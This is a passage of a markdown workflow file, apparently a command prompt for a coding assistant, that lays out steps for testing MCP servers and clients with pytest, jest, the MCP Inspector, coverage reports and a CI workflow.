- Coverage analysis
|
||||
|
||||
## Workflow Steps
|
||||
|
||||
### Step 1: Detect Project Type
|
||||
|
||||
Analyze the project to determine:
|
||||
1. **Type**: Server or Client?
|
||||
2. **Language**: Python or TypeScript?
|
||||
3. **Test Framework**: pytest, jest, vitest?
|
||||
4. **Existing Tests**: Are tests already present?
|
||||
|
||||
**Detection Logic:**
|
||||
- Check for `pyproject.toml`, `package.json`
|
||||
- Look for test directories (`tests/`, `test/`, `__tests__/`)
|
||||
- Check for test configuration files (`pytest.ini`, `jest.config.js`)
|
||||
- Identify server vs client by inspecting imports/code
|
||||
|
||||
### Step 2: Check Test Environment
|
||||
|
||||
Verify testing prerequisites:
|
||||
|
||||
**Python:**
|
||||
- [ ] pytest installed
|
||||
- [ ] pytest-asyncio installed (if async tests)
|
||||
- [ ] pytest-cov installed (for coverage)
|
||||
- [ ] Mock dependencies available
|
||||
- [ ] Virtual environment activated
|
||||
|
||||
**TypeScript:**
|
||||
- [ ] jest or vitest installed
|
||||
- [ ] @types packages installed
|
||||
- [ ] ts-jest configured (if using jest)
|
||||
- [ ] Mock libraries available
|
||||
|
||||
**Both:**
|
||||
- [ ] MCP Inspector available (`npx @modelcontextprotocol/inspector`)
|
||||
- [ ] Environment variables configured
|
||||
- [ ] External dependencies available or mocked
|
||||
|
||||
### Step 3: Run Unit Tests
|
||||
|
||||
**Python:**
|
||||
```bash
|
||||
# Run all unit tests
|
||||
pytest tests/unit -v
|
||||
|
||||
# With coverage
|
||||
pytest tests/unit --cov=src --cov-report=term-missing --cov-report=html
|
||||
```
|
||||
|
||||
**TypeScript:**
|
||||
```bash
|
||||
# Run all unit tests
|
||||
npm test -- tests/unit
|
||||
|
||||
# With coverage
|
||||
npm test -- --coverage
|
||||
```
|
||||
|
||||
**Report Results:**
|
||||
- Total tests run
|
||||
- Passed / Failed / Skipped
|
||||
- Test execution time
|
||||
- Any failures with details
|
||||
|
||||
### Step 4: Run Integration Tests
|
||||
|
||||
**Python:**
|
||||
```bash
|
||||
# Run integration tests
|
||||
pytest tests/integration -v --timeout=30
|
||||
```
|
||||
|
||||
**TypeScript:**
|
||||
```bash
|
||||
# Run integration tests
|
||||
npm test -- tests/integration --testTimeout=30000
|
||||
```
|
||||
|
||||
**Report Results:**
|
||||
- Integration test count
|
||||
- Pass/fail status
|
||||
- Connection tests results
|
||||
- External API test results (if any)
|
||||
|
||||
### Step 5: Test with MCP Inspector
|
||||
|
||||
**For Servers:**
|
||||
```bash
|
||||
# Python server
|
||||
npx @modelcontextprotocol/inspector python -m project_name
|
||||
|
||||
# TypeScript server
|
||||
npx @modelcontextprotocol/inspector node build/index.js
|
||||
```
|
||||
|
||||
**Validate:**
|
||||
- [ ] Server starts successfully
|
||||
- [ ] Protocol handshake completes
|
||||
- [ ] Tools are discoverable
|
||||
- [ ] Resources are discoverable
|
||||
- [ ] Prompts are discoverable
|
||||
- [ ] Tool calls execute correctly
|
||||
- [ ] Resource reads work
|
||||
- [ ] Prompt generation works
|
||||
- [ ] Error handling is appropriate
|
||||
|
||||
**For Clients:**
|
||||
```bash
|
||||
# Start mock MCP server
|
||||
python tests/mock_server.py & # or node tests/mockServer.js &
|
||||
|
||||
# Test client against mock
|
||||
pytest tests/integration/test_inspector.py
|
||||
```
|
||||
|
||||
### Step 6: Test Error Scenarios
|
||||
|
||||
Run tests specifically for error handling:
|
||||
|
||||
**Common Error Scenarios:**
|
||||
```python
|
||||
# Python example
|
||||
@pytest.mark.error_scenarios
|
||||
class TestErrorHandling:
|
||||
def test_invalid_tool_parameters(self):
|
||||
"""Test tool with invalid parameters"""
|
||||
|
||||
def test_missing_required_fields(self):
|
||||
"""Test missing required fields"""
|
||||
|
||||
def test_type_validation_errors(self):
|
||||
"""Test type validation"""
|
||||
|
||||
def test_connection_timeout(self):
|
||||
"""Test connection timeout handling"""
|
||||
|
||||
def test_server_unavailable(self):
|
||||
"""Test server unavailable scenario"""
|
||||
|
||||
def test_rate_limit_exceeded(self):
|
||||
"""Test rate limiting"""
|
||||
```
|
||||
|
||||
**Run Error Tests:**
|
||||
```bash
|
||||
pytest tests/ -m error_scenarios -v
|
||||
```
|
||||
|
||||
### Step 7: Performance Testing
|
||||
|
||||
Test performance characteristics:
|
||||
|
||||
**For Servers:**
|
||||
```python
|
||||
import time
|
||||
|
||||
def test_tool_response_time():
|
||||
"""Ensure tools respond within acceptable time"""
|
||||
start = time.time()
|
||||
result = mcp.call_tool("expensive_operation", params)
|
||||
duration = time.time() - start
|
||||
|
||||
assert duration < 5.0, f"Tool too slow: {duration}s"
|
||||
assert result["success"]
|
||||
|
||||
def test_concurrent_requests():
|
||||
"""Test handling concurrent requests"""
|
||||
import asyncio
|
||||
|
||||
async def call_tool():
|
||||
return await mcp.call_tool("test_tool", {})
|
||||
|
||||
tasks = [call_tool() for _ in range(10)]
|
||||
results = await asyncio.gather(*tasks)
|
||||
|
||||
assert all(r["success"] for r in results)
|
||||
```
|
||||
|
||||
**Run Performance Tests:**
|
||||
```bash
|
||||
pytest tests/ -m performance -v
|
||||
```
|
||||
|
||||
### Step 8: Generate Coverage Report
|
||||
|
||||
**Python:**
|
||||
```bash
|
||||
# Generate HTML coverage report
|
||||
pytest --cov=src --cov-report=html --cov-report=term-missing
|
||||
|
||||
# View report
|
||||
open htmlcov/index.html
|
||||
```
|
||||
|
||||
**TypeScript:**
|
||||
```bash
|
||||
# Generate coverage report
|
||||
npm test -- --coverage
|
||||
|
||||
# View report
|
||||
open coverage/lcov-report/index.html
|
||||
```
|
||||
|
||||
**Analyze Coverage:**
|
||||
- Overall coverage percentage
|
||||
- Uncovered lines/functions
|
||||
- Coverage by module
|
||||
- Critical paths coverage
|
||||
|
||||
### Step 9: Check Protocol Compliance
|
||||
|
||||
Verify MCP protocol compliance:
|
||||
|
||||
**Checklist:**
|
||||
- [ ] Correct protocol version advertised
|
||||
- [ ] Proper capability negotiation
|
||||
- [ ] Valid tool schemas (JSON Schema compliant)
|
||||
- [ ] Valid resource URI patterns
|
||||
- [ ] Proper error response format
|
||||
- [ ] Correct message types used
|
||||
- [ ] Proper request/response correlation
|
||||
|
||||
**Run Compliance Tests:**
|
||||
```bash
|
||||
# Using MCP Inspector
|
||||
npx @modelcontextprotocol/inspector --validate python -m project_name
|
||||
```
|
||||
|
||||
### Step 10: Generate Test Report
|
||||
|
||||
Create comprehensive test report:
|
||||
|
||||
```markdown
|
||||
# Test Report: [Project Name]
|
||||
|
||||
**Date**: [date]
|
||||
**Version**: [version]
|
||||
**Test Duration**: [duration]
|
||||
|
||||
## Summary
|
||||
|
||||
- **Total Tests**: [count]
|
||||
- **Passed**: [count] ✓
|
||||
- **Failed**: [count] ✗
|
||||
- **Skipped**: [count] ⊘
|
||||
- **Coverage**: [percentage]%
|
||||
|
||||
## Unit Tests
|
||||
|
||||
### Tools
|
||||
- Total: [count]
|
||||
- Passed: [count]
|
||||
- Failed: [count]
|
||||
- Coverage: [percentage]%
|
||||
|
||||
### Resources
|
||||
- Total: [count]
|
||||
- Passed: [count]
|
||||
- Failed: [count]
|
||||
- Coverage: [percentage]%
|
||||
|
||||
### Prompts
|
||||
- Total: [count]
|
||||
- Passed: [count]
|
||||
- Failed: [count]
|
||||
- Coverage: [percentage]%
|
||||
|
||||
## Integration Tests
|
||||
|
||||
- **MCP Inspector**: [PASS/FAIL]
|
||||
- **Protocol Compliance**: [PASS/FAIL]
|
||||
- **Tool Execution**: [PASS/FAIL]
|
||||
- **Resource Access**: [PASS/FAIL]
|
||||
- **Error Handling**: [PASS/FAIL]
|
||||
|
||||
## Performance Tests
|
||||
|
||||
- **Average Tool Response**: [time]ms
|
||||
- **Concurrent Requests**: [PASS/FAIL]
|
||||
- **Memory Usage**: [usage]MB
|
||||
- **Connection Stability**: [PASS/FAIL]
|
||||
|
||||
## Failed Tests
|
||||
|
||||
[If any tests failed, list them with details]
|
||||
|
||||
### test_create_file_invalid_path
|
||||
**Location**: tests/unit/test_tools.py:45
|
||||
**Error**: AssertionError: Expected error message not returned
|
||||
**Details**: [detailed error message]
|
||||
|
||||
## Coverage Analysis
|
||||
|
||||
### Overall Coverage: [percentage]%
|
||||
|
||||
| Module | Coverage |
|
||||
|--------|----------|
|
||||
| tools.py | [percentage]% |
|
||||
| resources.py | [percentage]% |
|
||||
| prompts.py | [percentage]% |
|
||||
| config.py | [percentage]% |
|
||||
|
||||
### Uncovered Code
|
||||
|
||||
Lines not covered by tests:
|
||||
- src/tools.py:123-145 (error handling branch)
|
||||
- src/resources.py:67 (cache invalidation)
|
||||
|
||||
## Recommendations
|
||||
|
||||
1. [recommendation 1]
|
||||
2. [recommendation 2]
|
||||
3. [recommendation 3]
|
||||
|
||||
## Next Steps
|
||||
|
||||
- [ ] Fix failed tests
|
||||
- [ ] Increase coverage for [module]
|
||||
- [ ] Add performance benchmarks
|
||||
- [ ] Add more error scenario tests
|
||||
```
|
||||
|
||||
### Step 11: Provide Test Summary
|
||||
|
||||
Give the user a clear summary:
|
||||
|
||||
```
|
||||
✓ MCP Testing Complete: [project-name]
|
||||
|
||||
Test Results:
|
||||
Unit Tests: 45/45 passed ✓
|
||||
Integration Tests: 8/8 passed ✓
|
||||
MCP Inspector: PASS ✓
|
||||
Protocol Compliance: PASS ✓
|
||||
Performance: PASS ✓
|
||||
|
||||
Coverage: 87%
|
||||
- Tools: 92%
|
||||
- Resources: 85%
|
||||
- Prompts: 90%
|
||||
- Config: 75%
|
||||
|
||||
Duration: 12.3 seconds
|
||||
|
||||
[Issues Found: None]
|
||||
or
|
||||
[Issues Found: 2]
|
||||
1. test_database_timeout (HIGH) - Timeout not handled
|
||||
2. test_large_file_resource (MEDIUM) - Memory issue
|
||||
|
||||
Recommendations:
|
||||
✓ Coverage is good (>80%)
|
||||
⚠ Add timeout handling for database operations
|
||||
⚠ Implement streaming for large resources
|
||||
|
||||
View detailed report: ./test-report.html
|
||||
View coverage report: ./htmlcov/index.html
|
||||
```
|
||||
|
||||
## Automated Testing in CI/CD
|
||||
|
||||
If `.github/workflows` exists, offer to add/update test workflow:
|
||||
|
||||
```yaml
|
||||
name: Test MCP Server
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
|
||||
- name: Set up Python/Node
|
||||
uses: actions/setup-python@v4 # or setup-node@v3
|
||||
with:
|
||||
python-version: '3.11' # or node-version: '18'
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
pip install -e .[dev] # or npm install
|
||||
|
||||
- name: Run tests
|
||||
run: |
|
||||
pytest --cov=src --cov-report=xml # or npm test -- --coverage
|
||||
|
||||
- name: Upload coverage
|
||||
uses: codecov/codecov-action@v3
|
||||
with:
|
||||
file: ./coverage.xml
|
||||
```
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- [ ] All unit tests passing
|
||||
- [ ] All integration tests passing
|
||||
- [ ] MCP Inspector validation passed
|
||||
- [ ] Protocol compliance verified
|
||||
- [ ] Coverage >= 80%
|
||||
- [ ] No critical issues found
|
||||
- [ ] Performance within acceptable limits
|
||||
- [ ] Test report generated
|
||||
|
||||
This command provides comprehensive testing to ensure MCP implementations are reliable, compliant, and production-ready.
|
||||
Reference in New Issue
Block a user